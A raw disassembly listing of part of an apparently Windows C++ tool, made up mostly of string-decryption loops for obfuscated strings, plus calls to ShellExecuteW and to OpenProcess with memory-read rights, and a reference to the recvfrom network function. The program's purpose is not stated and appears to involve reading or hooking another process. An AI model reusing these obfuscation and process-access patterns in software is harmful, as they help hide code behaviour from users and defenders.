mov byte [rbp + rax + 0xb40], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x2a
jb 0x1400f8490
lea r8, [rbp + 0xb40]
lea rdx, [rbp + 0x15b0]
lea rcx, [rbp + 0x15d0]
call fcn.1400fd7a0
nop
xor r8d, r8d
lea rdx, [rbp + 0x15d0]
lea rcx, [rbp + 0xe78]
call fcn.1400fdc40
nop
xor eax, eax
mov byte [rbp - 0x3c], al
movzx r8d, al
mov rdx, rsi
lea rcx, [rbp + 0xe58]
call fcn.1400fee40
nop
mov r8d, 2
lea rdx, [rbp + 0xe78]
lea rcx, [rbp + 0xe58]
call fcn.1400f55a0
nop
lea rcx, [rbp + 0xe58]
call fcn.1400f3920
nop
lea rcx, [rbp + 0xe78]
call fcn.1400f3920
lea rcx, [rbp + 0x1258]
call fcn.1400f4d80
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0xf18]
mov rcx, rax
call fcn.1400fd970
nop
mov dword [rbp + 0xae0], 0x273a3079
mov dword [rbp + 0xae4], 0x773b3529
mov byte [rbp + 0xae8], 0x54
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xae9], xmm0
mov dword [rbp + 0xaf9], eax
mov word [rbp + 0xafd], ax
mov byte [rbp + 0xaff], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x9a48e3a12d763b4a
nop dword [rax]
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xae0]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 6
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xae0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x20
jb 0x1400f85d0
lea rdx, [rbp + 0xae0]
lea rcx, [rbp + 0x1238]
call fcn.1400f1e70
nop
lea r9, [rbp + 0xf18]
mov r8, rax
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x15f0]
call fcn.1400f2630
nop
lea rcx, [rbp + 0x1238]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0xf18]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x1258]
call fcn.1400f3920
lea rdx, [rbp + 0xdf8]
lea rcx, [rbp + 0x15f0]
call fcn.1400fcca0
mov rbx, qword [rax]
lea rdx, [rbp + 0xdf0]
lea rcx, [rbp + 0x15f0]
call fcn.1400fccc0
lea r9, [rbp - 0x3b]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1298]
call fcn.1400fded0
nop
mov rcx, rax
call fcn.1400fd6e0
mov rdi, rax
lea rdx, [rbp + 0xe50]
lea rcx, [rbp + 0x15d0]
call fcn.1400fcca0
mov rbx, qword [rax]
lea rdx, [rbp + 0xe48]
lea rcx, [rbp + 0x15d0]
call fcn.1400fccc0
lea r9, [rbp - 0x3a]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1278]
call fcn.1400fded0
mov rcx, rax
call fcn.1400fd6e0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r14
mov r9, rdi
mov r8, rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x1278]
call fcn.1400f3920
nop
lea rcx, [rbp + 0x1298]
call fcn.1400f3920
nop
lea rcx, [rbp + 0x15f0]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x15d0]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x15b0]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x1530]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x1630]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x1670]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x17b8]
call fcn.1400fb370
lea rcx, [rbp + 0x17b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x18d0]
call fcn.1400fb490
lea rcx, [rbp + 0x18d0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1430]
call fcn.1400f1dd0
jmp 0x1400fac21
lea rcx, [rbp + 0x15b0]
call fcn.1400f1dd0
jmp 0x1400f887f
mov dword [rbp - 0x60], 0x54524e5c
mov dword [rbp - 0x5c], 0x4343508a
mov dword [rbp - 0x58], 0x819e9f42
mov dword [rbp - 0x54], 0x97414392
mov dword [rbp - 0x50], 0x5c50454d
mov dword [rbp - 0x4c], 0x8b98524e
mov dword [rbp - 0x48], 0x4db2469e
mov byte [rbp - 0x44], 0x42
xor eax, eax
mov word [rbp - 0x43], ax
mov byte [rbp - 0x41], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x5c304ef66655f2e5
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax - 0x60]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x43
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0x60], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x20
jb 0x1400f8830
lea rcx, [rbp - 0x60]
call fcn.1400f2b40
nop
lea rcx, [rbp + 0x1530]
call fcn.1400f1dd0
jmp 0x1400f898b
mov dword [rbp + 0x3e0], 0x96a3f4b3
mov dword [rbp + 0x3e4], 0xf2ebafaf
mov dword [rbp + 0x3e8], 0xeef5f6f6
mov dword [rbp + 0x3ec], 0x8ac489f5
mov dword [rbp + 0x3f0], 0x958f8a92
mov dword [rbp + 0x3f4], 0x8c84cd9e
mov dword [rbp + 0x3f8], 0xcbdc8193
mov dword [rbp + 0x3fc], 0x8bd48595
mov dword [rbp + 0x400], 0x909cd187
mov dword [rbp + 0x404], 0x9ad9928e
mov dword [rbp + 0x408], 0x31328ece
mov byte [rbp + 0x40c], 0x3a
xor eax, eax
mov dword [rbp + 0x40d], eax
mov word [rbp + 0x411], ax
mov byte [rbp + 0x413], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x6f46ad07f9d68a33
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x3e0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x65
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x3e0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x34
jb 0x1400f8930
lea rcx, [rbp + 0x3e0]
call fcn.1400f2b40
nop
lea rcx, [rbp + 0x1630]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x1670]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x17b8]
call fcn.1400fb370
lea rcx, [rbp + 0x17b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x18d0]
call fcn.1400fb490
lea rcx, [rbp + 0x18d0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1430]
call fcn.1400f1dd0
jmp 0x1400f8b1a
mov dword [rbp + 0x520], 0x86bb60a3
mov dword [rbp + 0x524], 0x7873bcbf
mov dword [rbp + 0x528], 0x757d7f67
mov dword [rbp + 0x52c], 0xb7617b7d
mov dword [rbp + 0x530], 0x7c78656d
mov dword [rbp + 0x534], 0x72b07a6e
mov dword [rbp + 0x538], 0x6e717676
mov dword [rbp + 0x53c], 0x8a7377ba
mov dword [rbp + 0x540], 0x88999e89
mov dword [rbp + 0x544], 0x939b8e42
mov dword [rbp + 0x548], 0x9183909f
mov dword [rbp + 0x54c], 0x869b4981
mov dword [rbp + 0x550], 0x84549e9a
mov dword [rbp + 0x554], 0x8d9b518f
mov dword [rbp + 0x558], 0x90889391
mov dword [rbp + 0x55c], 0x779d5c96
mov word [rbp + 0x560], 0x13b5
mov byte [rbp + 0x562], 4
movups xmmword [rbp + 0x563], xmm0
mov word [rbp + 0x573], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0xfaf8c0b1a5dbf561
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x520]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x59
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x520], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x55
jb 0x1400f8ac0
lea rcx, [rbp + 0x520]
call fcn.1400f2b40
mov dword [rbp + 0x810], 0xb7c3ccb7
mov dword [rbp + 0x814], 0xf73dbbc1
mov dword [rbp + 0x818], 0xf34c463e
mov dword [rbp + 0x81c], 0xff33394c
mov dword [rbp + 0x820], 0x4f344e42
mov dword [rbp + 0x824], 0x57e6414b
mov dword [rbp + 0x828], 0x2e5b2450
mov dword [rbp + 0x82c], 0x1d1c135e
mov word [rbp + 0x830], 0xcdfa
xor eax, eax
mov qword [rbp + 0x832], rax
mov dword [rbp + 0x83a], eax
mov word [rbp + 0x83e], ax
mov byte [rbp + 0x840], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x342f962fbcede9fa
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x810]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x2a
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x810], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x31
jb 0x1400f8ba3
lea rcx, [rbp + 0x810]
call fcn.1400f2b40
call fcn.1400f29b0
mov ebx, eax
cmp eax, 0xffffffff
sete dil
call fcn.1400ffa80
mov qword [rbp + 0x1398], rax
cmp ebx, 0xffffffff
jne 0x1400f8c2c
nop dword [rax]
call fcn.1400f29b0
mov ebx, eax
cmp eax, 0xffffffff
je 0x1400f8c20
mov dword [rbp + 0x6d0], 0xf8c39adb
mov dword [rbp + 0x6d4], 0x918bc7c7
mov dword [rbp + 0x6d8], 0xafb4bcb7
mov dword [rbp + 0x6dc], 0xadb1bfec
mov dword [rbp + 0x6e0], 0xe38abebc
mov dword [rbp + 0x6e4], 0x8ea7b9b4
mov dword [rbp + 0x6e8], 0xdbfaabbd
mov dword [rbp + 0x6ec], 0xc0cccdfc
mov dword [rbp + 0x6f0], 0xd7cbbed3
mov dword [rbp + 0x6f4], 0xe6bdfef4
mov dword [rbp + 0x6f8], 0x561f1a23
mov dword [rbp + 0x6fc], 0x44054909
mov dword [rbp + 0x700], 0xf9f85c10
mov byte [rbp + 0x704], 0xe4
xorps xmm0, xmm0
movups xmmword [rbp + 0x705], xmm0
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x5287e056761dd858
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x6d0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x68
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x6d0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x45
jb 0x1400f8cd3
mov edx, ebx
lea rcx, [rbp + 0x6d0]
call fcn.1400f2b40
mov dword [rbp + 0x4b0], 0x659f6957
mov dword [rbp + 0x4b4], 0xdf656361
mov dword [rbp + 0x4b8], 0x6f92606c
mov dword [rbp + 0x4bc], 0x67d47d63
mov dword [rbp + 0x4c0], 0x8c8d7864
mov dword [rbp + 0x4c4], 0x77cc787f
mov dword [rbp + 0x4c8], 0x7f847f8d
mov word [rbp + 0x4cc], 0xdf85
mov byte [rbp + 0x4ce], 0xe4
xor eax, eax
mov qword [rbp + 0x4cf], rax
mov word [rbp + 0x4d7], ax
mov byte [rbp + 0x4d9], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x8e870821753a2bdf
nop
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x4b0]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x19
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x4b0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x2a
jb 0x1400f8db0
lea rcx, [rbp + 0x4b0]
call fcn.1400f2b40
mov r8d, ebx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r13, rax
mov dword [rbp + 0x350], 0x16037433
mov dword [rbp + 0x354], 0x4e4b0f0f
mov dword [rbp + 0x358], 0x744e764e
mov dword [rbp + 0x35c], 0x272a2576
mov dword [rbp + 0x360], 0x236c6a6e
mov dword [rbp + 0x364], 0x5b6e5c50
mov dword [rbp + 0x368], 0x5b28515f
mov dword [rbp + 0x36c], 0x18192458
mov dword [rbp + 0x370], 0x1b502c2b
mov dword [rbp + 0x374], 0x2b102b11
mov dword [rbp + 0x378], 0x6b1d5c11
mov dword [rbp + 0x37c], 0xa7aeaf2d
xor eax, eax
mov byte [rbp + 0x380], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0xeb1793dc2cce57a3
nop
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x350]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x75
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x350], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x31
jb 0x1400f8eb0
lea rcx, [rbp + 0x350]
call fcn.1400f2b40
mov dword [rbp + 0x720], 0x151b1c03
mov dword [rbp + 0x724], 0x16121614
mov dword [rbp + 0x728], 0x313127de
mov dword [rbp + 0x72c], 0x3327c1e2
mov dword [rbp + 0x730], 0x2f39c625
mov dword [rbp + 0x734], 0xe1e2212d
mov word [rbp + 0x738], 0x9be0
mov byte [rbp + 0x73a], 0x90
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x73b], xmm0
mov dword [rbp + 0x74b], eax
mov byte [rbp + 0x74f], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0xeca17fd41394f497
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x720]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x21
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x720], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x30
jb 0x1400f8f80
lea rcx, [rbp + 0x720]
call fcn.1400f2b40
mov r12, r14
test dil, dil
je 0x1400f903a
call fcn.1400ffa80
mov qword [rbp + 0x13a0], rax
cmp rax, qword [rbp + 0x1398]
je 0x1400f9033
xor eax, eax
mov byte [rbp - 0x39], al
movzx r8d, al
lea rdx, [rbp + 0x13a0]
lea rcx, [rbp + 0xef8]
call fcn.1400fee40
lea rcx, [rbp + 0xef8]
call fcn.140100240
mov rbx, rax
mov rdx, rax
mov rcx, r13
call fcn.14010ed30
test al, al
cmovne r12, rbx
test r12, r12
je 0x1400f8fe2
jmp 0x1400f9066
xor eax, eax
mov byte [rsp + 0x5a], al
movzx r8d, al
lea rdx, [rbp + 0x1398]
lea rcx, [rbp + 0xeb8]
call fcn.1400fee40
lea rcx, [rbp + 0xeb8]
call fcn.140100240
mov r12, rax
mov dword [rbp + 0xb70], 0x2fe4e8f5
mov dword [rbp + 0xb74], 0xe7ec5d50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb78], xmm0
mov dword [rbp + 0xb88], eax
mov word [rbp + 0xb8c], ax
mov byte [rbp + 0xb8e], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x27ba737328ec09bc
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xb70]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x24
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xb70], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1f
jb 0x1400f90b0
mov r9, r12
lea r8, [rbp + 0xb70]
mov edx, reloc.WS2_32.dll_recvfrom
lea rcx, [rbp + 0x35c0]
call fcn.1400f2ba0
lea rdx, [rbp + 0x35c0]
lea rcx, [rbp + 0x1450]
call fcn.1400f1e70
nop
lea rdx, [rbp + 0xe40]
lea rcx, [rbp + 0x1450]
call fcn.1400fcca0
mov rbx, qword [rax]
lea rdx, [rbp + 0xe38]
lea rcx, [rbp + 0x1450]
call fcn.1400fccc0
mov rcx, qword [rax]
cmp rcx, rbx
je 0x1400f9170
nop
cmp byte [rcx], 0x20
jne 0x1400f9168
mov byte [rcx], 0x30
inc rcx
cmp rcx, rbx
jne 0x1400f9160
lea rcx, [rbp + 0x1450]
call fcn.1400f1dc0
mov rbx, rax
lea rcx, [rbp + 0x1450]
call fcn.1400fcc80
mov rdi, rax
cmp rbx, rax
je 0x1400f91a6
movsx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x1400f9193
lea rcx, [rbp + 0x1450]
call fcn.1400f1dc0
mov r9, rax
mov dword [rbp + 0x5f0], 0xf6fbd093
mov dword [rbp + 0x5f4], 0xb5c3ffff
mov dword [rbp + 0x5f8], 0xb7be46bf
mov dword [rbp + 0x5fc], 0x4bb795ea
mov dword [rbp + 0x600], 0xbfb596b9
mov dword [rbp + 0x604], 0x9fe0b5b9
mov dword [rbp + 0x608], 0x94b9f8fe
mov dword [rbp + 0x60c], 0xa493949f
mov dword [rbp + 0x610], 0xb6f158ed
mov dword [rbp + 0x614], 0xf9c6a2e2
mov byte [rbp + 0x618], 0xee
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x619], xmm0
mov dword [rbp + 0x629], eax
mov word [rbp + 0x62d], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r10, 0x427999d6e75fe39
nop dword [rax]
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x5f0]
add r8, r10
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x71
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x5f0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x3f
jb 0x1400f9250
mov rdx, r9
lea rcx, [rbp + 0x5f0]
call fcn.1400f2b40
mov dword [rbp + 0x7d0], 0xc5c6ced4
mov dword [rbp + 0x7d4], 0x9fc5c3c1
mov dword [rbp + 0x7d8], 0x8cd7c3ce
mov dword [rbp + 0x7dc], 0xc7cbc4d7
mov dword [rbp + 0x7e0], 0xffebfdc1
mov dword [rbp + 0x7e4], 0xaff2fcf1
mov dword [rbp + 0x7e8], 0xf6f5e2fe
mov dword [rbp + 0x7ec], 0xb9baf0e5
mov word [rbp + 0x7f0], 0x43b8
mov byte [rbp + 0x7f2], 0x58
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x7f3], xmm0
mov dword [rbp + 0x803], eax
mov word [rbp + 0x807], ax
mov byte [rbp + 0x809], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x6e72b11f03fea60f
nop dword [rax]
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x7d0]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x69
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x7d0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x3a
jb 0x1400f9340
lea rcx, [rbp + 0x7d0]
call fcn.1400f2b40
xorps xmm0, xmm0
movups xmmword [rbp + 0x13e0], xmm0
mov r8, r12
mov rdx, r13
lea rcx, [rbp + 0x13e0]
call fcn.14010f080
nop
mov r9, qword [0x14029da30]
mov r10, qword [rbp + 0x13e8]
mov dword [rbp + 0x140], 0xe0eb82c3
mov dword [rbp + 0x144], 0x9793d7d7
mov dword [rbp + 0x148], 0x94818c92
mov dword [rbp + 0x14c], 0x93939d99
mov dword [rbp + 0x150], 0x9c839589
mov dword [rbp + 0x154], 0x9686d582
mov dword [rbp + 0x158], 0x9dd28283
mov dword [rbp + 0x15c], 0x8c978b95
mov dword [rbp + 0x160], 0xcf969490
mov dword [rbp + 0x164], 0x746f6924
mov dword [rbp + 0x168], 0x6e7c7663
mov dword [rbp + 0x16c], 0x3562607e
mov dword [rbp + 0x170], 0x3a511228
mov dword [rbp + 0x174], 0x622b262f
mov dword [rbp + 0x178], 0x48097d3d
mov dword [rbp + 0x17c], 0x429682c
mov dword [rbp + 0x180], 0x28212843
mov dword [rbp + 0x184], 0x4b0b5019
mov dword [rbp + 0x188], 0x56127a3b
mov word [rbp + 0x18c], 0x2726
mov byte [rbp + 0x18e], 0x2e
xor eax, eax
mov dword [rbp + 0x18f], eax
mov word [rbp + 0x193], ax
mov byte [rbp + 0x195], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r11, 0x695b13bece6596dc
nop dword [rax]
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x140]
add r8, r11
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 4
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x140], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x56
jb 0x1400f94c0
mov r8, r9
mov rdx, r10
lea rcx, [rbp + 0x140]
call fcn.1400f2b40
mov dword [rbp + 0x2c0], 0x767b5093
mov dword [rbp + 0x2c4], 0x5c237f7f
mov dword [rbp + 0x2c8], 0x203e3431
mov dword [rbp + 0x2cc], 0x305a8927
mov dword [rbp + 0x2d0], 0x83283d3f
mov dword [rbp + 0x2d4], 0xd1806c48
mov dword [rbp + 0x2d8], 0xdcc0c2c5
mov dword [rbp + 0x2dc], 0xc488bc7f
mov word [rbp + 0x2e0], 0x5560
xor eax, eax
mov qword [rbp + 0x2e2], rax
mov dword [rbp + 0x2ea], eax
mov word [rbp + 0x2ee], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x6c69dc10ecb3a1e9
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x2c0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x5f
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x2c0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x30
jb 0x1400f95a0
lea rcx, [rbp + 0x2c0]
call fcn.1400f2b40
mov byte [rsp + 0x58], 0
lea rdx, [0x140240cab]
lea rcx, [rbp + 0x13c0]
call fcn.1400fe070
test al, al
je 0x1400f9c54
mov dword [rbp + 0x750], 0x6274186b
mov dword [rbp + 0x754], 0x7b366a62
mov dword [rbp + 0x758], 0x1260636d
mov dword [rbp + 0x75c], 0x642e7b75
mov dword [rbp + 0x760], 0x6a545454
mov dword [rbp + 0x764], 0xd4a5149
mov dword [rbp + 0x768], 0x505f4820
mov dword [rbp + 0x76c], 0x36665d19
mov dword [rbp + 0x770], 0x71632f6f
mov word [rbp + 0x774], 0xb554
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x776], xmm0
mov dword [rbp + 0x786], eax
mov byte [rbp + 0x78a], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0xc4eece7cf815c24
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x750]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 4
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x750], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x3b
jb 0x1400f96b0
lea rcx, [rbp + 0x750]
call fcn.1400f2b40
movzx edx, byte [rsp + 0x5a]
lea rcx, [rbp + 0x1510]
call fcn.1400f22f0
lea rcx, [rbp + 0x1510]
call fcn.1400f1ed0
nop
lea rdx, [rbp + 0x1510]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400fe030
xor edx, edx
lea rcx, [rbp + 0x1510]
call fcn.1400fca90
movsx ecx, byte [rax]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
cmp al, 0x6e
setne byte [rsp + 0x5c]
mov dword [rbp + 0x790], 0x2a142013
mov dword [rbp + 0x794], 0x1446222a
mov dword [rbp + 0x798], 0x1b231b2b
mov dword [rbp + 0x79c], 0x144e1e18
mov dword [rbp + 0x7a0], 0xf2f4f4f4
mov dword [rbp + 0x7a4], 0xcd02f901
mov dword [rbp + 0x7a8], 0x8ff00b8
mov dword [rbp + 0x7ac], 0x6b6bde1
mov dword [rbp + 0x7b0], 0xd9abefaf
mov word [rbp + 0x7b4], 0x85a4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x7b6], xmm0
mov dword [rbp + 0x7c6], eax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x7fc39a66fbb6b3f0
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x790]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x70
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x790], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x3a
jb 0x1400f97e2
lea rcx, [rbp + 0x790]
call fcn.1400f2b40
movzx edx, byte [rsp + 0x5a]
lea rcx, [rbp + 0x1590]
call fcn.1400f22f0
lea rcx, [rbp + 0x1590]
call fcn.1400f1ed0
nop
lea rdx, [rbp + 0x1590]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400fe030
xor edx, edx
lea rcx, [rbp + 0x1590]
call fcn.1400fca90
movsx ecx, byte [rax]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
cmp al, 0x6e
sete byte [rsp + 0x58]
mov dword [rbp + 0xa70], 0x407001b
mov dword [rbp + 0xa74], 0x2100b11
mov word [rbp + 0xa78], 0x5324
mov byte [rbp + 0xa7a], 0x58
xor eax, eax
mov qword [rbp + 0xa7b], rax
mov word [rbp + 0xa83], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x8456dce02f2f0773
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xa70]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x25
mov rax, qword [rsp + 0x50]
